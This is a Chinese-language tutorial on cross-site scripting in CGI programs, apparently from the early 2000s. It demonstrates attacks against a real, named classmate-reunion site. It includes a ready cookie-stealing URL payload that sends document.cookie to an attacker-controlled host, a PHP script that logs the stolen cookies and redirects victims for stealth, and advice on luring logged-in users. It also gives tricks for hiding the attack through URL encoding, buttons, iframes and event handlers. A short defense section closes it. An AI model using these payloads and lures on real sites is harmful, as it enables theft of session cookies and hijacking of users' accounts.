声明，请不要利用本文介绍的任何内容，代码或方法进行破坏，否则一切后果自负！
【漏洞成因】
原因很简单，就是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。
【漏洞形式】
这里所说的形式，实际上是指CGI输入的形式，主要分为两种：
1．显示输入
2．隐式输入
其中显示输入明确要求用户输入数据，而隐式输入则本来并不要求用户输入数据，但是用户却可以通 过输入数据来进行干涉。
显示输入又可以分为两种：
1． 输入完成立刻输出结果
2． 输入完成先存储在文本文件或数据库中，然后再输出结果
注意：后者可能会让你的网站面目全非！：（
而隐式输入除了一些正常的情况外，还可以利用服务器或CGI程序处理错误信息的方式来实施。
【漏洞危害】
大家最关心的大概就要算这个问题了，下面列举的可能并不全面，也不系统，但是我想应该是比较典 型的吧。
1． 获取其他用户Cookie中的敏感数据
2． 屏蔽页面特定信息
3． 伪造页面信息
4． 拒绝服务攻击
5． 突破外网内网不同安全设置
6． 与其它漏洞结合，修改系统设置，查看系统文件，执行系统命令等
7． 其它
一般来说，上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞，也就是通过别人的 网站达到攻击的效果，也就是说，这种攻击能在一定程度上隐藏身份。
【利用方式】
下面我们将通过具体例子来演示上面的各种危害，这样应该更能说明问题，而且更易于理解。为了条 理更清晰一些，我们将针对每种危害做一个实验。
为了做好这些实验，我们需要一个抓包软件，我使用的是Iris，当然你可以选择其它的软件，比如 NetXray什么的。至于具体的使用方法，请参考相关帮助或手册。
另外，需要明白的一点就是：只要服务器返回用户提交的信息，就可能存在跨站脚本执行漏洞。
好的，一切就绪，我们开始做实验！：）
实验一：获取其他用户Cookie中的敏感信息
我们以国内著名的同学录站点5460.net为例来说明一下，请按照下面的步骤进行：
1． 进入首页http://www.5460.net/
2． 输入用户名“<h1>”，提交，发现服务器返回信息中包含了用户提交的“<h1>”。
3． 分析抓包数据，得到实际请求：
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
4． 构造一个提交，目标是能够显示用户Cookie信息：
http://www.5460.net/txl/login/login.pl?username=<script>alert(document.cookie)</ script>&passwd=&ok.x=28&ok.y=6
5． 如果上面的请求获得预期的效果，那么我们就可以尝试下面的请求：
http://www.5460.net/txl/login/login.pl?username=<script>window.open("http://www.notfound.org/ info.php?"%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6
其中http://www.notfound.org/info.php是你能够控制的某台主机上的一个脚本，功能是获取查询字符串的信 息，内容如下：
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("info.txt","a");
fwrite($fp,$info."/n");
fclose($fp);
}
header("Location: http://www.5460.net");
注：“%2B”为“+”的URL编码，并且这里只能用“%2B”，因为“+”将被作为空格处理。后面的header语 句则纯粹是为了增加隐蔽性。
6． 如果上面的URL能够正确运行的话，下一步就是诱使登陆5460.net的用户访问该URL，而我们就可以 获取该用户Cookie中的敏感信息。
7． 后面要做什么就由你决定吧！
实验二：屏蔽页面特定信息
我们仍然以5460.net作为例子，下面是一个有问题的CGI程序：
http://www.5460.net/txl/liuyan/liuyanSql.pl
该CGI程序接受用户提供的三个变量，即nId，csId和cName，但是没有对用户提交的cName变量进行任何检 查，而且该CGI程序把cName的值作为输出页面的一部分，5460.net的用户应该都比较清楚留言右下角有你 的名字，对吧？
既然有了上面的种种条件，我们可以不妨作出下面的结论：
某个用户可以“屏蔽”其两次留言之间的所有留言！
当然，我们说的“屏蔽”不是“删除”，用户的留言还是存在的，只不过由于HTML的特性，我们无法从 页面看到，当然如果你喜欢查看源代码的话就没有什么用处了，但是出了我们这些研究CGI安全的人来 说，有多少人有事没事都看HTML源代码？
由于种种原因，我在这里就不公布具体的细节了，大家知道原理就好了。
注：仔细想想，我们不仅能屏蔽留言，还能匿名留言，Right？
实验三：伪造页面信息
如果你理解了上面那个实验，这个实验就没有必要做了，基本原理相同，只是实现起来稍微麻烦一点而 已。
实验四：拒绝服务攻击
现在应该知道，我们在某种程度上可以控制存在跨站脚本执行漏洞的服务器的行为，既然这样，我们 就可以控制服务器进行某种消耗资源的动作。比如说运行包含死循环或打开无穷多个窗口的JavaScript脚本 等等。这样访问该URL的用户系统就可能因此速度变慢甚至崩溃。同样，我们也可能在其中嵌入一些脚 本，让该服务器请求其它服务器上的资源，如果访问的资源比较消耗资源，并且访问人数比较多的话，那 么被访问的服务器也可能被拒绝服务，而它则认为该拒绝服务攻击是由访问它的服务器发起的，这样就可 以隐藏身份。
实验五：突破外网内网不同安全设置
这个应该很好理解吧，一般来说我们的浏览器对不同的区域设置了不同的安全级别。举例来说，对于 Internet区域，可能你不允许JavaScript执行，而在Intranet区域，你就允许JavaScript执行。一般来说，前者的 安全级别都要高于后者。这样，一般情况下别人无法通过执行恶意JavaScript脚本对你进行攻击，但是如果 与你处于相同内网的服务器存在跨站脚本执行漏洞，那么攻击者就有机可乘了，因为该服务器位于Intranet 区域。
实验六：与其它漏洞结合，修改系统设置，查看系统文件，执行系统命令等
由于与浏览器相关的漏洞太多了，所以可与跨站脚本执行漏洞一起结合的漏洞也就显得不少。我想这 些问题大家都应该很清楚吧，前些时间的修改IE标题漏洞，错误MIME类型执行命令漏洞，还有多种多样 的蠕虫，都是很好的例子。
更多的例子请参考下列链接：
Internet Explorer Pop-Up OBJECT Tag Bug
http://archives.neohapsis.com/archives/bugtraq/2002-01/0167.html
Internet Explorer Javascript Modeless Popup Local Denial of Service Vulnerability
http://archives.neohapsis.com/archives/bugtraq/2002-01/0058.html
MSIE6 can read local files
http://www.xs4all.nl/~jkuperus/bug.htm
MSIE may download and run progams automatically
http://archives.neohapsis.com/archives/bugtraq/2001-12/0143.html
File extensions spoofable in MSIE download dialog
http://archives.neohapsis.com/archives/bugtraq/2001-11/0203.html
the other IE cookie stealing bug (MS01-055)
http://archives.neohapsis.com/archives/bugtraq/2001-11/0106.html
Microsoft Security Bulletin MS01-055
http://archives.neohapsis.com/archives/bugtraq/2001-11/0048.html
Serious security Flaw in Microsoft Internet Explorer - Zone Spoofing
http://archives.neohapsis.com/archives/bugtraq/2001-10/0075.html
Incorrect MIME Header Can Cause IE to Execute E-mail Attachment
http://www.kriptopolis.com/cua/eml.html
跨站脚本执行漏洞在这里的角色就是隐藏真正攻击者的身份。
实验七：其它
其实这类问题和跨站脚本执行漏洞没有多大关系，但是在这里提一下还是很有必要的。问题的实质还 是CGI程序没有过滤用户提交的数据，然后进行了输出处理。举个例子来说，支持SSI的服务器上的CGI程 序输出了用户提交的数据，无论该数据是采取何种方式输入，都可能导致SSI指令的执行。当然，这是在服 务端，而不是客户端执行。其实像ASP，PHP和Perl等CGI语言都可能导致这种问题。
【隐藏技巧】
出于时间的考虑，我在这里将主要讲一下理论了，相信不是很难懂，如果实在有问题，那么去找本书 看吧。
1． URL编码
比较一下：
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y＝6
你觉得哪个更有隐蔽性？！
2． 隐藏在其它对象之下
与直接给别人一个链接相比，你是否决定把该链接隐藏在按钮以下更好些呢？
3． 嵌入页面中
让别人访问一个地址（注意这里的地址不同于上面提到的URL），是不是又要比让别人按一个按钮容易得 多，借助于Iframe，你可以把这种攻击变得更隐蔽。
4． 合理利用事件
合理使用事件，在某些情况上可以绕过CGI程序对输入的限制，比如说前些日子的SecurityFocus的跨站脚本 执行漏洞。
【注意事项】
一般情况下直接进行类似<script>alert(document.cookie)</script>之类的攻击没有什么问题，但是有时 CGI程序对用户的输入进行了一些处理，比如说包含在''或””之内，这时我们就需要使用一些小技巧 来绕过这些限制。
如果你对HTML语言比较熟悉的话，绕过这些限制应该不成问题。
【解决方法】
要避免受到跨站脚本执行漏洞的攻击，需要程序员和用户两方面共同努力：
程序员：
1． 过滤或转换用户提交数据中的HTML代码
2． 限制用户提交数据的长度
用户：
1． 不要轻易访问别人给你的链接
2． 禁止浏览器运行JavaScript和ActiveX代码
附：常见浏览器修改设置的位置为：
Internet Explorer：
工具->Internet选项->安全->Internet->自定义级别
工具->Internet选项->安全->Intranet->自定义级别
Opera：
文件->快速参数->允许使用Java
文件->快速参数->允许使用插件
文件->快速参数->允许使用JavaScript
【常见问题】
Q：跨站脚本执行漏洞在哪里存在？
A：只要是CGI程序，只要允许用户输入，就可能存在跨站脚本执行漏洞。
Q：跨站脚本执行漏洞是不是只能偷别人的Cookie？
A：当然不是！HTML代码能做的，跨站脚本执行漏洞基本都能做。
以上就是【跨站脚本执行漏洞详解与防护】的全部内容了,欢迎留言评论进行交流!